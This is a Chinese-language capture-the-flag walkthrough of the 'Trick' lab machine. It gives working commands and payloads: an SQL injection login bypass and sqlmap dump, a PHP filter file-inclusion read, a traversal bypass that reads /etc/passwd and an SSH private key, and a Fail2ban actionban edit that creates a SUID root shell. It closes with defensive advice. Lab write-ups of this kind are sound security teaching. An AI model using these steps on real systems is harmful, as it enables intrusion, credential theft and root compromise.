实战打靶之trick
字数 1060 2025-08-11 22:57:16
渗透测试实战:Trick靶机渗透教学文档
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初始端口扫描:
nmap -sV -p- <target_ip>
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
- 25 (SMTP)
1.2 SMTP用户枚举
使用smtp-user-enum脚本枚举SMTP用户:
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t <target_ip>
1.3 DNS信息收集
检查DNS解析记录:
dig @<target_ip> trick.htb any
1.4 子域名枚举
使用wfuzz进行子域名枚举:
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.trick.htb" --hw 0 <target_ip>
发现子域名:
- preprod-payroll.trick.htb
- preprod-marketing.trick.htb
2. Web应用渗透
2.1 发现SQL注入漏洞
访问http://preprod-payroll.trick.htb,发现员工管理系统登录页面。
手动测试SQL注入:
- 使用万能密码绕过登录:
' or 1=1-- - 时间盲注验证:
- 输入
1=1返回时间1秒 - 输入
1=2返回时间3秒
- 输入
使用sqlmap自动化测试:
# 保存请求为x.txt后
sqlmap -r x.txt --dbms=mysql --batch
# 枚举信息
sqlmap -r x.txt --current-user
sqlmap -r x.txt --tables
sqlmap -r x.txt -D payroll --dump
2.2 文件包含漏洞利用
登录后发现文件包含漏洞,使用PHP过滤器读取文件:
http://preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index
读取关键文件:
/etc/passwddb_connect.php(获取数据库凭据)
2.3 目录遍历漏洞
在preprod-marketing.trick.htb发现目录遍历漏洞,但过滤../,使用....//绕过:
http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd
成功读取:
/etc/passwd/home/michael/.ssh/id_rsa(获取SSH私钥)
3. 权限提升
3.1 通过SSH私钥连接
chmod 600 id_rsa
ssh -i id_rsa michael@<target_ip>
获取user.txt
3.2 Fail2ban提权
检查sudo权限:
sudo -l
发现michael可以以root身份重启fail2ban
漏洞利用步骤:
-
备份原始配置文件:
mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.bak cp /etc/fail2ban/action.d/iptables-multiport.bak /etc/fail2ban/action.d/iptables-multiport.conf -
修改actionban配置:
nano /etc/fail2ban/action.d/iptables-multiport.conf修改为:
actionban = cp /bin/bash /tmp/x; chmod 4777 /tmp/x -
重启fail2ban并触发:
sudo systemctl restart fail2ban # 使用crackmapexec等工具多次尝试失败登录以触发ban -
执行提权后的bash:
/tmp/x -p获取root权限后读取root.txt
4. 总结与防御建议
渗透路径总结:
- 信息收集发现子域名
- 利用SQL注入获取初始访问
- 利用文件包含漏洞读取敏感文件
- 获取SSH私钥实现横向移动
- 滥用Fail2ban配置实现权限提升
防御建议:
-
SQL注入防御:
- 使用参数化查询
- 实施输入验证
- 最小权限原则配置数据库账户
-
文件包含防御:
- 禁用动态文件包含
- 白名单验证包含文件
- 使用绝对路径而非用户输入
-
Fail2ban安全配置:
- 限制sudo权限
- 配置文件只读权限
- 监控配置文件变更
-
SSH安全:
- 禁用密码认证
- 限制私钥使用
- 实施双因素认证
-
系统加固:
- 定期更新补丁
- 实施最小权限原则
- 监控异常活动